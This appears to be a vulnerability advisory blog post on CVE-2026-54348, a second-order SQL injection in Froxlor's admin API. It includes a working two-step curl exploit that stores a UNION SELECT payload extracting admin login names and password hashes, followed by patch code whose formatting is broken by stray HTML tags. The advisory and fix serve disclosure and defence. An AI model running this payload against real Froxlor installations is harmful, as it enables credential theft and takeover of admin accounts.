Listen to this Post
Intro
This critical vulnerability is a second-order SQL injection, specifically a UNION-based attack, identified as CVE-2026-54348. It resides in Froxlor’s admin API and has been assigned a CVSS score of 7.2 (High). The issue arises from a “store-then-trigger” chain involving two distinct code locations.
In the first stage, the `Admins.add` and `Admins.update` endpoints in `lib/Froxlor/Api/Commands/Admins.php` accept an attacker-controlled `ipaddress` parameter. The code fails to validate the type of this input, allowing a malicious array to be passed. This array is then JSON-encoded and stored verbatim in the `panel_admins.ip` column of the database without any sanitization. While the initial database write uses a prepared statement and is safe, the danger lies in the unsanitized data that is now persisted.
The second stage occurs when the poisoned admin account later calls the `IpsAndPorts.listing` API endpoint. In lib/Froxlor/Api/Commands/IpsAndPorts.php, the stored JSON is decoded back into an array. The code then uses `implode()` to directly concatenate the array’s elements into a SQL `IN` clause without any casting, escaping, or parameterization. This creates the final, vulnerable SQL query. The same unsafe pattern exists in lib/Froxlor/Api/Commands/Domains.php.
An authenticated administrator with the `change_serversettings = 1` permission can exploit this. By injecting a UNION-based SQL payload during the first stage, they can trigger its execution in the second stage. This allows the attacker to extract arbitrary data from the database, including all admin login names and their bcrypt password hashes.
DailyCVE Form:
Platform: Froxlor
Version: < 2.3.8
Vulnerability: Second-Order SQL Injection
Severity: High (CVSS 7.2)
Date: 2026-08-18
Prediction: 2026-08-19 (Patch available in v2.3.8)
What Undercode Say:
Analytics show that exploitation requires an authenticated admin API key with `change_serversettings` permission. The vulnerability allows for full database exfiltration in a single request. The attack vector is network-based, requires low attack complexity, and no user interaction.
Exploit: (Educational Purposes!)
Step 1: Poison the account by storing the SQL payload.
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{
"command": "Admins.add",
"params": {
"name": "x",
"new_loginname": "eviladmin",
"email": "[email protected]",
"admin_password": "Passw0rd!123",
"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
}
}'
The `ip` column for `eviladmin` now contains the payload: `[“1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins– -“]`
Step 2: Trigger the payload by calling the listing endpoint.
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{"command":"IpsAndPorts.listing"}'
This returns a list where the `ip` field is the admin `loginname` and the `port` field is the `password` hash.
Protection:
- Option A (Recommended): Integer-cast all elements before imploding in
lib/Froxlor/Api/Commands/IpsAndPorts.php. -
</dt> <dt>$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));</dt> <dt>$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";</dt> <dt> - Option B: Validate at storage time in `Admins.add` /
Admins.update. -
</dt> <dt>if (is_array($ipaddress)) {</dt> <dt>$ipaddress = array_filter($ipaddress, 'is_numeric');</dt> <dt>}</dt> <dt>'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0</dt> <dt>? json_encode(array_map('intval', $ipaddress))</dt> <dd>-1),Apply the same fix to the identical pattern in
Domains.php:1016.
The official fix is to upgrade to Froxlor version 2.3.8 or higher.
Impact:
Type: Second-Order SQL Injection (UNION-based).
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account with change_serversettings = 1.
Consequences:
Full credential dump: Extraction of all admin and customer login names and bcrypt password hashes.
Lateral movement: Cracked hashes allow login to other admin or customer accounts.
Data exfiltration: The UNION SELECT can target any table in the database.
Privilege escalation: A reseller admin can extract the super-admin’s credentials and gain full control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
